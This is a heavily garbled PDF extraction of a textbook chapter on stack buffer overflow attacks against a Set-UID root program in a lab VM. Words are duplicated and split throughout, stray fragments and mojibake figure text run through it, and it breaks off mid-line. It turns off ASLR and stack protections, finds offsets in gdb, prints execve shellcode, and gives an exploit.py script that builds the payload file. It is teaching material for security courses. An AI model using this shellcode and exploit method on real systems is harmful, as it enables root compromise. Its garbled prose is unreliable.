pter

Chapter 4

Buffer Overflow
w Attack

Cha
From Morris worm in 1988, Code Red d worm in 2001,

pplications. In this
of the computer systems and applications.
vulnerability, and see how such a simple mistake
control of a system. We will also
2
attack against Android phones in 2015, the buffer overflow
in the history of computer security.
rity.

mistak can be
lso study how to prevent
SQL
S

attack
att
th chapter,
ch
Slammer in 2003, to Stagefright
overfl attack has played a significant role
o
ty. It is a classic
cl that is still effective against many
we will study the buffer overflow
b exploited by attackers to gain a complete
prev such attacks.

Contents
4.1 Program Memory Layout . . . . . . . . . . . . . . . . . . . . . . . . . 64
4.2 Stack and Function Invocation . . . . . . . . . . . . . . . . . . . . . . 65
4.3 Stack Buffer-Overflow
Overflow Attack
fer-Overflow Attac
A . . . . . . . . . . . . . . . . . . . . . . . 67
4.4 Setup forr Ourr Experiment
Experimen . . . . . . . . . . . . . . . . . . . . . . . . . 71
4.5 Conductct Buffer-Overflow
er-Overflow Attack
Atta . . . . . . . . . . . . . . . . . . . . . 73
4.6 kss with Unknown Address
Attacks Addr and Buffer Size . . . . . . . . . . . . . 79
4.7 ing a Shellcode . . . . . . . . . . . . . . . .
Writing . . . . . . . . . . . . 82
4.8 untermeasures:
measures: Overview
Countermeasures: Overvi . . . . . . . . . . . . . . . . . . . . . . . 86
4.9 Address
ddresss Randomization
Randomiza . . . . . . . . . . . . . . . . . . . . . . . . . . 88
4.10 tackGuard
uard . . . . . . . . . . . . . . . . . . . . .
StackGuard . . . . . . . . . . . . 91
4.11 ating the Countermeasure
Defeating Counter in bash and dash . . . . . . . . . . . . 96
m

4.12 Summary
mmary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
64 CHAPTER 4. BUFFER OVERFLOW ATTACK

4.1 Program Memory Layout

pter
To fully understand how buffer overflow attacks work, we need to understand
derstand
and how the data
memory is arranged inside a process. When a program runs, it needs memory
mory space to sto
store dat
data.
For a typical C program, its memory is divided into five segments, each
ch with
th its own purpose.
purpo
pu
Figure 4.1 depicts the five segments in a process’s memory layout.

• Text segment: stores the executable code of the program. This block of memory is usually
u
read-only.

• Data segment: stores static/global variables that are initialized

alized
d by the programmer.
program
prog For
example, the variable a defined in static int a = 3 will bee stored in the Data
segment.

Cha
• BSS segment: stores uninitialized static/global variables.
ables. This segment
segm will
w be filled
with zeros by the operating system, so all the uninitialized
alized
d variables are
a initialized
in with
zeros. For example, the variable b defined in staticic int b will bbe sto stored in the BSS
segment, and it is initialized with zero.

• Heap: The heap is used to provide space for dynamic

namic memory allocation.
aalloca This area is
managed by malloc, calloc, realloc, free, ree, etc.
ree

• Stack: The stack is used for storing local variables

iables
bles defined inside
ins functions, as well as
turn address,
storing data related to function calls, such as return address arguments,
arg etc. We will
provide more details about this segment later on.
ple
(Highaddress)
Stack
Stack

Heap

BSSsegment
BSS segment
Sam

D
Datasegment
ext
Textsegment
(Lowaddress)
ss)

Figure
igure 4.1: Program memory
me layout

rent
ent memory segments
To understand how different segm
segment are used, let us look at the following code.
int x = 100; // In Data segment
s
int main()
{
int a = 2; // In Stack
Stac
float b = 2.5; // In Stack
4.2. STACK AND FUNCTION INVOCATION 65

static int y; // In BSS

pter
// Allocate memory on Heap
int *ptr = (int *) malloc(2*sizeof(int));
nt));

// values 5 and 6 stored on heap

p
ptr[0] = 5; // In Heap
ptr[1] = 6; // In Heap

free(ptr);
return 1;
}

Cha
In the above program, the variable le x is a global vvariable initialized inside the program;
variab
this variable will be allocated in the Data segment. The T variable
v y is a static variable that is
uninitialized, so it is allocated in thee BSS segment.
egment. The
T variables
v a and b are local variables,
so they are stored on the program’s ’s stack.
ack. The variable
va ptr is also a local variable, so it is
also stored on the stack. However, r, ptr is a pointe
pointer, po
pointing to a block of memory, which is
dynamically allocated using malloc(); oc();; ther
lloc() therefore, wwhen the values 5 and 6 are assigned to
ptr[0] and ptr[1], they aree stored in the heap hea segment.
se

4.2 Stack and Function

nction
ction Invocation
Invocat
Invo
Buffer overflow can happenn oon both stack and
nd heap.
he The ways to exploit them are quite different.
In this chapter, we focus on the stack-based
stack buffer overflow. To understand how it works, we
need to have an in-depthh understanding
derstanding of how
ho stack works and what information is stored on
ple
the stack.

(High address
address)
Stackk
grows
ws
Value of b
Arguments
Value of a
Return Address
Current Previous Frame Pointer
Sam

Fra
Frame
Pointer Value of x
Local variables
Value of y

(Low address)

Figure 4.2: Layout for a function’s stack frame

Figur

4.2.1
2.1
.1 Stack M
Memo
Memory Layout
Stack is used
sed
d for storing
stori data used in function invocations. A program executes as a series of
function calls. Whenever
ene a function is called, some space is allocated for it on the stack for the
66 CHAPTER 4. BUFFER OVERFLOW ATTACK

execution of the function. Consider the following sample code for function func()
c(),, which has
func(),

pter
two integer arguments (a and b) and two integer local variables (x and y).).
void func(int a, int b)
{
int x, y;

x = a + b;
y = a - b;
}

When func() is called, a block of memory space will be allocated

llocated
ed on the top of the stack,
and it is called stack frame. The layout of the stack frame is depicted
cted in Figure 4.2.
4.2 A stack

Cha
frame has four important regions:

• Arguments: This region stores the values for the arguments

ments that
hat are passed
pass to the function.
In our case, func() has two integer arguments. When en this function
func is called, e.g.,
func(5,8), the values of the arguments will bee pushed into the stack, stac forming the
arg
beginning of the stack frame. It should be noted that the arguments ar pushed in the
are
reverse order; the reason will be discussed later after
fter we introduce the frame pointer.
• Return Address: When the function finishes andd hits h its return inst
tur instruction, it needs to
know where to return to, i.e., the return address
sss needs to be stored
sto somewhere. Before
omputer pushes
jumping to the entrance of the function, the computer pushe the address of the next
instruction—the instruction placed right after the function
unction iinvoca
invocation instruction—into
the top of the stack, which is the “return address”
ddre region in the stack
st frame.
• Previous Frame Pointer: The next item pushed
ushedd into the stack
s frame by the program is the
ple
frame pointer for the previous frame. Wee will talk about the
t frame
fra pointer in more details
in §4.2.2.
• Local Variables: The next region is foror storing the ffunction
function’s local variables. The actual
layout for this region, such as the order
der of the local var
variable
variables, the actual size of the region,
etc., is up to compilers. Some compilers
pilerss may rand
randomize the order of the local variables,
or give extra space for this region [Bryant
yant and O’Hallaron,
O’H
O’Hallar 2015]. Programmers should
not assume any particular order or size for this region.
regi
Sam

4.2.2 Frame Pointer

Inside func(), we need to access the arguments and an local
lo variables. The only way to do that
is to know their memory addresses. es. Unfortunately,
nfortuna the addresses cannot be determined during
the compilation time, because compilers
mpilers
ers cannot pr
predict the run-time status of the stack, and will
not be able to know where the stack k frame will be.
b ToT solve this problem, a special register is
lled frame point
introduced in the CPU. It is called pointer
pointer.. Th
This register points to a fixed location in the
stack frame, so the address of each argument and local variable can be calculated using this
register and an offset. The offset
ffset can be decided
decid during
du the compilation time, while the value of
the frame pointer can changege during the runtime,
run depending on where a stack frame is allocated
on the stack.
Let us use an examplee too see how the frame
f pointer is used. From the code example shown
previously, the function needs to execute
xecut the x = a + b statement. CPU needs to fetch the
values of a and b, add them, and then store re the result in x; CPU needs to know the addresses
4.3. STACK BUFFER-OVERFLOW ATTACK 67

of these three variables. As shown in Figure 4.2, in the he x86

x8 architecture,
architect the frame pointer

pter
register (ebp) always points to the region where the previous
vious frame
fram pointer
po is stored. For the
32-bit architecture, the return address and frame pointer
er both occupy
occup 4 bytes of memory, so the
actual address of the variables a and b is ebp + 8, andan ebp + 12 12, respectively. Therefore,
the assembly code for x = a + b is the followinglowingg (we can compile
comp
c C code into assembly
code using the -S option of gcc like this: gcc cc
c -S <filename>):
<filename
<filen
movl 12(%ebp), %eax ; b is stored
red in %ebp
%e + 12
movl 8(%ebp), %edx ; a is stored
tored in %ebp + 8
addl %edx, %eax
movl %eax, -8(%ebp) ; x is stored in %ebp - 8

In the above assembly code, eax and edx are two ge general-purpose registers used for

Cha
storing temporary results. The "movl l u w" w instruct
instruction ccopies value u to w, while "addl
%edx %eax" adds the values in thee two registers, and an sasave the result to %eax. The notation
12(%ebp) means %ebp+12. It should hould be noted
oted that
th thet variable x is actually allocated 8
bytes below the frame pointer by the he compiler,
mpiler, not 4 bytes
byte as what is shown in the diagram. As
we have already mentioned, the actual
ctual layout of the
th local
loc variable region is up to the compiler.
In the assembly code, we can seee from -8(%ebp)
-8(%ebp th that the variable x is stored in the location
of %ebp-8. Therefore, using the he frame pointer d decid
decided at the runtime and the offsets decided
at the compilation time, we cann find the address
addre of all a the variables.
Now we can explain why hyy a and b aree pushe
pushed
p in the stack in a seemly reversed order.
Actually, the order is not reversed
ersed
ed from the offs
offset ppoint of view. Since the stack grows from high
address to low address, if we push a first
first, the offs
offset for argument a is going to be larger than the
offset of argument b, making
king the order look
ok actually
act reversed if we read the assembly code.

Previous frame pointer er andd function call cchain. In a typical program, we may call another
function from inside a function. tion. Every time we enter a function, a stack frame is allocated on
the top of the stack; when we return fro from ththe function, the space allocated for the stack frame is
released. Figure 4.3 depicts
picts the sta
stack situation
situa where from inside of main(), we call foo(),
and from inside of foo() (),, we call bar().
foo(), b
bar All three stack frames are on the stack.
There is only one frame
rame pointe
pointer regis
register, and it always points to the stack frame of the current
function. Therefore,ore, before we en enter bbar(), the frame pointer points to the stack frame of the
foo() function; n; whenn we jump in into bar(), the frame pointer will point to the stack frame of
the bar() function.
nction.
n. If we do not remember
re what the frame pointer points to before entering
bar(), oncee we return from bar bar(), we will not be able to know where function foo()’s
stack frame is. To solve this th problem,
prob before entering the callee function, the caller’s frame
pointer value
ue is stored
tored in the “prev
““previous frame pointer” field on the stack. When the callee returns,
the value inn thiss field will be use
used to set the frame pointer register, making it point to the caller’s
stack frame
me again.
gain.

4.3 Stack
ack Buffer-Overflow
Buffer
Buf Attack
Memory
mory copying is quite common in programs, where data from one place (source) need to
be copied to another plac
place (destination). Before copying, a program needs to allocate memory
space
acee for the destination.
destinatio
destin Sometimes, programmers may make mistakes and fail to allocate
sufficient amount
mount of mmemory for the destination, so more data will be copied to the destination
buffer than the amount
ou of allocated space. This will result in an overflow. Some programming
68 CHAPTER 4. BUFFER OVERFLOW ATTACK

Stack (Highaddress)

pter
grows

main()

foo() main()’sFramePointer

rent
Current
bar() foo()’sFramePointer
Frame
Frame

Cha
Pointer

(Lowaddress)

Figure 4.3: Stack layout for function

ion call chain

languages, such as Java, can automatically detect the problem when a bufferbuff is over-run, but
many other languages such as C and C++ are not ablee to detect it. Most
Mo people
pe may think that
the only damage a buffer overflow can cause is to crash
ashh a program, due
du to the corruption of the
data beyond the buffer; however, what is surprising g is that such a simple
si mistake may enable
attackers to gain a complete control of a program, rather thann simply
i crashing
cras it. If a vulnerable
program runs with privileges, attackers will be able
ble to gain
g those privileges.
vil In this section, we
will explain how such an attack works.
ple
4.3.1 Copy Data to Buffer
There are many functions in C that can be used
sed to copy data, includ
iincluding strcpy(), strcat(),
memcpy(), etc. In the examples of this section,
ection,
n, we will use st
strcpy(), which is used to copy
strings. An example is shown in the codee below.
ow. The function
fun strcpy() stops copying only
when it encounters the terminating character '\0'
acter '\0'.
0'.
#include <string.h>
Sam

#include <stdio.h>

void main ()
{
char src[40]="Hello world \0 Extra string";
char dest[40];

// copy to dest (destination)

tination) from
fr src (source)
strcpy (dest, src);
}

When we run the abovee code, we can notice

no that strcpy() only copies the string "Hello
world" to the buffer dest, even ven
n though
tho the
t entire string contains more than that. This
is because when making the copy, strcpy() cp stops when it sees number zero, which is
4.3. STACK BUFFER-OVERFLOW ATTACK 69

represented by '\0' in the code. It should be noted d thatt this

thi is not the same as character '0',

ter
which is represented as 0x30 in computers, not zero. Without the th zero
zer in the middle of the
string
st
string, the string copy will end when it reaches the end of the string, which is marked by a
zero (the zero is not shown in the code, but compilers
pilers will automaticall
automatically
automa add a zero to the end of
a string).

4.3.2 Buffer Overflow

hap
When we copy a string to a target buffer, what
hat will happen if the string is longer than the size of
the buffer? Let us see the following example.
mple.
#include <string.h>

void foo(char *str)

{
char buffer[12];

/* The following statement

ement will result in a buffer overflow */
strcpy(buffer, str);
}
eC
int main()
{
char *str = "This is definitely
definite longer than 12";
foo(str);

return 1;
}

The stack layout for

or the above code is sshown in Figure 4.4. The local array buffer[] in
foo() has 12 bytes of memory. The foo foo() function uses strcpy() to copy the string from
str to buffer[].. The strcpy()trcpy( fun function does not stop until it sees a zero (a number zero,
'\0') in the sourcece string.
tring. Since
Sinc the source
s string is longer than 12 bytes, strcpy() will
overwrite some portion
ortionn of the stack abo the buffer. This is called buffer overflow.
stac above
It should be notedd that stacks grow from high address to low address, but buffers still grow
in the normal direction
tion (i.e., from low
lo to high). Therefore, when we copy data to buffer[],
we start from buffer[0]
fer[0],, and eve
buffer[0], eventually to buffer[11]. If there are still more data to be
copied, strcpy()
cpy()() wil
will continue copying the data to the region above the buffer, treating the
memory beyond
yond the buffer asa bu
buffer[12], buffer[13], and so on.

Consequence.ence. As can b be see

seen in Figure 4.4, the region above the buffer includes critical
values, including
ncluding
ding the return
retu address
ad and the previous frame pointer. The return address affects
where the program
rogram should
sho jump
j to when the function returns. If the return address field is
modifiedfied duee to a buff o
buffer overflow, when the function returns, it will return to a new place.
Several
ral things can happen.
hap First, the new address, which is a virtual address, may not be mapped
to any
ny physical address,
addr so
s the return instruction will fail, and the program will crash. Second,
thee address may be map mapped to a physical address, but the address space is protected, such as
those
osee used by the operating
opera
op system kernel; the jump will fail, and the program will crash. Third,
the address ss may be mapped
m to a physical address, but the data in that address is not a valid
machine instruction on (e.g. it may be a data region); the return will again fail and the program
70 CHAPTER 4. BUFFER OVERFLOW ATTACK

pter
Stack (Highaddress))
grows

main()
stack
frame
str(pointer)
ReturnAddress
foo() PreviousFramePointer
stack

Buffercopy
buffer[11]

Cha
frame

buffer[0]
(Lowaddress)
(Low ad

Figure 4.4: Buffer overflow

verflow

will crash. Fourth, the data in the address may happen

en to be a valid mach
m
machine instruction, so the
program will continue running, but the logic of the program
am will be different
diff from the original
one.
ple
4.3.3 Exploiting a Buffer Overflow Vulnerability
lnerability
As we can see from the above consequence, by overflowing a buffer, buff we can cause a program
to crash or to run some other code. From the he attacker’s perspective,
pe
perspec the latter sounds more
interesting, especially if we (as attackers) can control
ol what code
c to run, because that will allow
us to hijack the execution of the program. m. If a program is privileged,
privi being able to hijack the
program leads to privilege escalation for the attacker.
atta
Let us see how we can get a vulnerableable program to run
ru our
o code. In the previous program
example, the program does not take any input nput from outside,
outside
outsid so even though there is a buffer
Sam

overflow problem, attackers cannot take ake advantage

dvantage of it. In real applications, programs usually
get inputs from users. See the following
wing program
progra example.
example

Listing 4.1: The vulnerable

vulne program
progr (stack.c)
/* This program has a buffer overflow
erflow vulnerability. */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int foo(char *str)

{
char buffer[100];
;

/* The following statement

men has a buffer overflow problem */
strcpy(buffer, str);
4.4. SETUP FOR OUR EXPERIMENT 71

pter
return 1;
}

int main(int argc, char **argv)

{
char str[400];
FILE *badfile;

badfile = fopen("badfile", "r");

;
fread(str, sizeof(char), 300, badfile);
foo(str);

Cha
printf("Returned Properly\n");
");
return 1;
}

The above program reads 300 bytes of data from a filefil called "badfile", and then copies
the data to a buffer of size 100. Clearly, there
ther is a buffer
bu overflow problem. This time, the
ome from a user-provided
contents copied to the buffer come user-prov
user- file, i.e., users can control what is
stion is what to store in "badfile", so after overflowing the
copied to the buffer. The question
buffer, we can get the program
m to run our code
code.
We need to get our code (i.e.,
e., malicious code)
co into the memory of the running program first.
This is not difficult. We can simply lyy place our code
cod in "badfile", so when the program reads
from the file, the code is loaded into the str[str[] array; when the program copies str to the
ill then be sstored on the stack. In Figure 4.5, we place the malicious
target buffer, the code will
code at the end of "badfile".
dfile"le".
ple
Next, we need to force
orce the
he program to
t jump
jum to our code, which is already in the memory. To
do that, using the buffer
fer
er overflow problem
proble in i the code, we can overwrite the return address field.
If we know the addressess
ss of our malicious
ma ccode, we can simply use this address to overwrite the
return address field.. Therefore,
refore, when the function foo returns, it will jump to the new address,
where our code is stored.ed. Figure 4.5
4 illustrates
illu how to get the program to jump to our code.
In theory, that
at is how a buffer overflow
overfl attack works. In practice, it is far more complicated.
In the next few sections,, we will descr
describe
des how to actually launch a buffer overflow attack against
the vulnerable Set-UID
-UID program ddescribed in Listing 4.1. We will describe the challenges in
Sam

the attack andd howw to overcome

overcom them.
th Our goal is to gain the root privilege by exploiting the
buffer overflowow vulnerability
vulnerabilit in a pprivileged program.

4.4 Setup
tup for Our
O Experiment
We will conduct attack
attac experiments
exp inside our Ubuntu16.04 virtual machine. Because the
buffer
fer overflow problem
pro has a long history, most operating systems have already developed
untermeasures
ntermeasures agains
countermeasures ag
against such an attack. To simplify our experiments, we first need to turn
offf these countermeasures. Later on, we will turn them back on, and show that some of the
hese counterm
countermeasu
countermeasures
easures
sures only made attacks more difficult, not impossible. We will show how they can
be defeated.
72 CHAPTER 4. BUFFER OVERFLOW ATTACK

Stackbeforethebuffercopy Stackafterthebuffercopy
opy

pter
Malicious Malicious
Code Code

(Overwrite)
ite)
Arguments Arguments

ReturnAddress NewAddress rn s
NewReturnAddress
PreviousFramePointer (Overwrite)
erwrite)
ebp
buffer[99] buffer[11]

Cha
(Overwrite)
Overwrite)

buffer[0] buffer[0]
(badfile)

Figure 4.5: Insert and jump to malicious code

4.4.1 Disable Address Randomization

One of the countermeasures against buffer overflow attacks acks is the Address
A Space Layout
Randomization (ASLR) [Wikipedia, 2017b]. It randomizes
ando the memory
mo space of the key data
areas in a process, including the base of the executable
cutablele and the positions of the stack, heap and
libraries, making it difficult for attackers to guess
ss thee address of the in
injected malicious code. We
ple
will discuss this countermeasure in §4.9 and show how how it can bbe defeated.
def For this experiment,
we will simply turn it off using the followingg command:
$ sudo sysctl -w kernel.randomize_va_space=0
space=0

4.4.2 Vulnerable Program

Sam

Our goal is to exploit a buffer overflow w vulnerability

nerability in a Se
Set-UID root program. A Set-UID
root program runs with the root privilege
vilegee when executed by a normal user, giving the normal
user extra privileges when running g thiss program. The Set-UID mechanism is covered in
details in Chapter 1. If a buffer overflow
rflow w vulne
vulnerability can be exploited in a privileged Set-UID
root program, the injected maliciousious code,
de, if executed,
executed
exe can run with the root’s privilege. We
will use the vulnerable program m (stack.c)
(stack.c
ack.c)) shoshown iin Listing 4.1 as our target program. This
program can be compiled and turnedurnedd into a root-owned
root-
root-own Set-UID program using the following
commands:
$ gcc -o stack -z execstack
ecstack -fno-stack-protector
-fno stack.c
$ sudo chown root stack
ac
$ sudo chmod 4755 stack
ack

The first command compiles stack.c

stack.c, and the second and third commands turn the
stac
executable stack into a root-owned Set-UID
t program. It should be noted that the order
4.5. CONDUCT BUFFER-OVERFLOW ATTACK 73

of the second and third commands cannot be reversed,

rsed,, because
bec when the chown command

pter
changes the ownership of a file, it clears the Set-UID
UID bitit (for the ssake oof security). In the first
command, we used two gcc options to turn off two countermeasures
countermeas that have already been
built into the gcc compiler.

• -z execstack: By default, stacks are re non-executable,

non-executabl which
w prevents the injected
malicious code from getting executed. d. This countermeasure
countermeasu
counterm is called non-executable
stack [Wikipedia, 2017o]. A program, through gh a special marking
mark in the binary, can tell the
operating system whether its stack should
houldd be set to eexecuta
executable or not. The marking in the
binary is typically done by the compiler.
iler. The gcc compile
compiler marks stack as non-executable
com
by default, and the "-z execstack" ack" option rever
reverses that, making stack executable. It
should be noted that this countermeasure
measure defeated using the return-to-libc attack.
ure can be defeat

Cha
We will cover the attack in Chapter
pter 5.
• -fno-stack-protector: This option turns off another countermeasure called Stack-
Guard [Cowa et al., 1998], which
hich can defeat the
th stack-based
st buffer overflow attack. Its
main idea is to add some special
ecial data and checkin
ch
checking mechanisms to the code, so when a
buffer overflow occurs, it will be de
detected. More details of this countermeasure will be
explained in §4.10. This countermeasure
ountermeasure
measure ha
has bee
been built into the gcc compiler as a default
option. The -fno-stack-protector
ck-protector tell tells the compiler not to use the StackGuard
countermeasure.

To understand the behavior

iorr of this program,
program we
w place some random contents to badfile.
We can notice that when the size of the file is
i less than 100 bytes, the program will run without
a problem. However, when we put more than 100 10 bytes in the file, the program may crash. This
is what we expect when a buffer overflow
ov happens. See the following experiment:
ple
$ echo "aaaa" > badfile
ile
$ ./stack
Returned Properly
y
$
$ echo "aaa ...(100 characters
charact omitted)... aaa" > badfile
$ ./stack
Segmentation fault
lt (core dumped)

4.5 Conduct
nduct
ct Buffer-Overflow
Buffer-O
Buffe Attack
Our goal is to exploit
ploit the buffer
buffe ov
overflow vulnerability in the vulnerable program stack.c (List-
ing 4.1), which h runs with
wi the root
r privilege. We need to construct the badfile such that
when the program
ram copies the
th file
fil contents into a buffer, the buffer is overflown, and our injected
malicious
us codede can be exe
execute
executed, allowing us to obtain a root shell. This section will first discuss
the challenges
allenges
es in the attack,
att followed
f by a breakdown of how we overcome the challenges.

4.5.1
1 Finding the A
Address of the Injected Code
To be able to jump to our malicious code, we need to know the memory address of the malicious
code.
de.. Unfortunatel
Unfortunately, wwe do not know where exactly our malicious code is. We only know that
our code iss copied
copie into the target buffer on the stack, but we do not know the buffer’s memory
address, because its
ts exact
e location depends on the program’s stack usage.
74 CHAPTER 4. BUFFER OVERFLOW ATTACK

We know the offset of the malicious code in our input, but we need to know w the address of

pter
the function foo’s stack frame to calculate exactly where our code will be stored. Unfortunately,
Unfortuna
the target program is unlikely to print out the value of its frame pointerr or the he address of any
variable inside the frame, leaving us no choice but to guess. In theory, thee entirere search space
sp for
fo
a random guess is 232 addresses (for 32 bit machine), but in practice, the he space
ce is much smal
ssmaller.
Two facts make the search space small. First, before countermeasures ures
res are introduced,
introduc most m
operating systems place the stack (each process has one) at a fixed starting ting address. It should
sh
be noted that the address is a virtual address, which is mapped to a differenterent physical
physica memory
me
address for different processes. Therefore, there is no conflict for or different
fferent processes
proc to use
the same virtual address for its stack. Second, most programs do o not have a deep stacstack. From
Figure 4.3, we see that stack can grow deep if the function calll chain is long, but this thi usually
happens in recursive function calls. Typically, call chains are nott veryy long, so in most programs,

Cha
stacks are quite shallow. Combining the first and second facts,, we can tell that the t search
s space
is much smaller than 232 , so guessing the correct address should
ould bee quite easy.
easy
To verify that stacks always start from a fixed starting address,
dress, we use the following
follow
f program
to print out the address of a local variable in a function.
#include <stdio.h>
void func(int* a1)
{
printf(" :: a1’s address is 0x%x \n", (unsigned int)
i &a1);
}

int main()
{
int x = 3;
func(&x);
ple
return 1;
}

We run the above program with the addressdress

ss randomiza
randomization turned
tu off. From the following
execution trace, we can see that the variable’s
ble’s address is always
alway
al the same, indicating that the
starting address for the stack is always thee same.
me.
$ sudo sysctl -w kernel.randomize_va_space=0
_va_space
kernel.randomize_va_space = 0
$ gcc prog.c -o prog
Sam

$ ./prog
:: a1’s address is 0xbffff3700

$ ./prog
:: a1’s address is 0xbffff370
70

4.5.2 Improving Chances

nces of Guessing
Guessi
For our guess to be successful,
sful, we need to guess the exact entry point of our injected code. If
we miss by one byte, we fail. This can be improved
imp if we can create many entry points for
our injected code. The idea
ea is to add many No-Op
No (NOP) instructions before the actual entry
point of our code. The NOP instruction
uction
tion does
d not
n do anything meaningful, other than advancing
the program counter to the next location, sos as long as we hit any of the NOP instructions,
4.5. CONDUCT BUFFER-OVERFLOW ATTACK 75

eventually, we will get to the actual starting point of our

ur code.
cod This will
wi increase our success

pter
rate very significantly. The idea is illustrated in Figure
gure 4.6.
6

Malicious Malicio
Malicious
Code Inaccurate Co
Code
Inaccurate
Guess – NOP Guess –
Failed Attack
(Overwrite) NOP Successful Attack
Arguments
NOP
New Return Address w Retu
New Return Address

Cha
(Overwrite) (Overwrite)
ebp ebp
buffer[11] buffer[11]
(Overwrite) (Overwrite)
buffer[0] buffer[0]

(Without NOP) (With NOP)

Figure 4.6:
6: Using NOP to improve
im the success rate

By filling the region above the return rn address

addr with NOP values, we can create multiple
entry points for our malicious
cious code. This is shown on the right side of Figure 4.6. This can be
compared to the case on n thee left side, where
wher NOP is not utilized and we have only one entry
ple
point for the malicious code.
e.

4.5.3 Finding the

he Address With
Without Guessing
In the Set-UID case,, since attackers
attack are on the same machine, they can get a copy of the
victim program, do some ome investigation
investig
investigation, and derive the address for the injected code without
sing. This method ma
a need for guessing. may not be applicable for remote attacks, where attackers
try to inject code
de from
om a remote mac mach
machine. Remote attackers may not have a copy of the victim
program; nor can theyhey conduct inve
investigation on the target machine.
Sam

We will use a debugging method

metho
m to find out where the stack frame resides on the stack, and
use that to derivee where our code is. We can directly debug the Set-UID program and print
ue off the frame pointer
out the value point
p when the function foo is invoked. It should be noted that
when a privileged
rivilegedd Set-UID
Set-U pr program is debugged by a normal user, the program will not run
with the privilege,
lege, so direc
directly cchanging the behavior of the program inside the debugger will not
allow uss to gain any privilege.
privilege
priv
In this experiment,
xperiment, wew have
ha the source code of the target program, so we can compile it with
the debugging
ebugging flag turned
tur on. That will make it more convenient to debug. Here is the gcc
man
mand.
command.
$ gcc
cc -z execstack
execst -fno-stack-protector -g -o stack_dbg stack.c

In addition
ition
on to disabling
disab two countermeasures as before, the above compilation uses the -g
flag to compile thee program,
p so debugging information is added to the binary. The compiled
76 CHAPTER 4. BUFFER OVERFLOW ATTACK

program (stack dbg) is then debugged using gdb. We need to create a file
le called
alled badfile

pter
before running the program. The command "touch badfile" in the following wing creates
create an
empty badfile.
$ gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c
stack
$ touch badfile
$ gdb stack_dbg
GNU gdb (Ubuntu 7.11.1-0ubuntu1˜16.04) 7.11.1
......
(gdb) b foo ¥ Set a break point at function n foo()
Breakpoint 1 at 0x804848a: file stack.c, line 14.
(gdb) run
......

Cha
Breakpoint 1, foo (str=0xbfffeb1c "...") at stack.c:10
.c:10
10 strcpy(buffer, str);

In gdb, we set a breakpoint on the foo function using b foo

oo,, and then we sstart executing
foo,
the program using run. The program will stop inside thee fooo function. TThis iis when we can
print out the value of the frame pointer ebp and the address
ddress
dress of the
t buffer using gdb’s p
command.
(gdb) p $ebp
$1 = (void *) 0xbfffeaf8
(gdb) p &buffer
$2 = (char (*)[100]) 0xbfffea8c
(gdb) p/d 0xbfffeaf8 - 0xbfffea8c
$3 = 108
(gdb) quit
ple
From the above execution results, we can see ee that the value
valu of the frame pointer is
0xbfffeaf8. Therefore, based on Figure 4.6, we can tell that th the
th return address is stored in
0xbfffeaf8 + 4, and the first address that hat
at we can jump
jum to 0x 0xbfffeaf8 + 8 (the mem-
ory regions starting from this address is filled
ed withh NOPs). Therefore,
Theref
Th we can put 0xbfffeaf8
+ 8 inside the return address field.
Inside the input, where is the return n address
dress field? Since
S our input will be copied to the
buffer starting from its beginning. We need too know wherewhe the th buffer starts in the memory, and
what the distance is between the buffer’ser’s starting point and the return address field. From the
Sam

above debugging results, we can easily ily print

rint out the address
addre
a of buffer, and then calculate the
distance between ebp and the buffer’ser’s starting
tarting address.
ad We
W get 108. Since the return address
field is 4 bytes above where ebp points
oints to, the distance
dista iis 112.

4.5.4 Constructing the Input

ut File
We can now construct the contents
ntentss for
f badfile
badfile.. Figure 4.7 illustrates the structure of the
badf
input file (i.e. badfile). Since
nce badfile
dfile contain
contains binary data that are difficult to type using
co
a text editor, we write a Python
hon program (called
(call eexploit.py) to generate the file. The code
is shown below.

Listing 4.2:
.2: Generating malicious
mal input (exploit.py)
#!/usr/bin/python3
import sys
4.5. CONDUCT BUFFER-OVERFLOW ATTACK 77

KŶĐĞƚŚĞŝŶƉƵƚŝƐĐŽƉŝĞĚ
ŶƉƵƚŝƐĐŽƉŝĞĚ
ŝƐĐŽƉŝ

pter
ƌ͕ƚŚĞĂĚĚƌĞƐƐŽĨ
ĚƌĞƐƐŽĨ
ŝŶƚŽďƵĨĨĞƌ͕ƚŚĞĂĚĚƌĞƐƐŽĨ
ƚŚŝƐƉŽƐŝƚŝŽŶǁŝůůďĞ
ŽƐŝƚŝŽŶǁŝůůďĞ
ŽŶǁŝůůďĞ
0xbfffeaf8
fffeaf8af8 + 8
ŝƐƚĂŶĐĞсϭϭϮ

EKW EKW Zd EKW EKW

E K DĂůŝĐŝŽƵƐŽĚĞ

^ƚĂƌƚŽĨďƵĨĨĞƌ͗ dŚĞǀĂůƵĞƉůĂĐĞĚŚĞƌĞ
ǀĂůƵĞƉůĂĐĞĚŚĞƌĞ
ĚŚĞƌĞ ddŚĞĨŝƌƐƚƉŽƐƐŝďůĞ
dŚ
KŶĐĞƚŚĞŝŶƉƵƚŝƐĐŽƉŝĞĚ ŝůůŽǀĞƌǁƌŝƚĞƚŚĞ
ĞƌǁƌŝƚĞƚŚĞ
ǁŝůůŽǀĞƌǁƌŝƚĞƚŚĞ ĞŶ
ĞŶƚƌLJƉŽŝŶƚĨŽƌƚŚĞ

Cha
ŝŶƚŽďƵĨĨĞƌ͕ƚŚĞŵĞŵŽƌLJ ZĞƚƵƌŶĚĚƌĞƐƐĨŝĞůĚ
ĞƚƵƌŶĚĚƌĞƐƐĨŝĞůĚ
ĚĚƌĞƐƐĨŝĞůĚ ŵĂůŝĐŝŽƵƐĐŽĚĞ
ĂĚĚƌĞƐƐǁŝůůďĞ
0xbfffea8c

Figuree 4.7: The structure

structu of badfile

shellcode= (
"\x31\xc0" # xorll %eax,%eax
"\x50" # pushl
shl %eax
"\x68""//sh" # pushl
push $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
ple
"\x89\xe1" # movl
m %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode(’latin-1’)
’)

# Fill the content

nt with NOPs
N
content = bytearray(0x90
ay(0x90 for
f i in range(300)) Œ
Sam

# Put the shellcode

lcode at the end
start = 300 - len(shellcode)
len(s
content[start:]
t:] = shellcode
she 

# Put the address

ress at offset 112
ret = 0xbfffeaf8
fffeaf8 + 120 Ž
content[112:116]
12:116] = (ret).to_bytes(4,byteorder=’little’) 

# Write
te the content
conte to a file
with
h open(’badfile’,
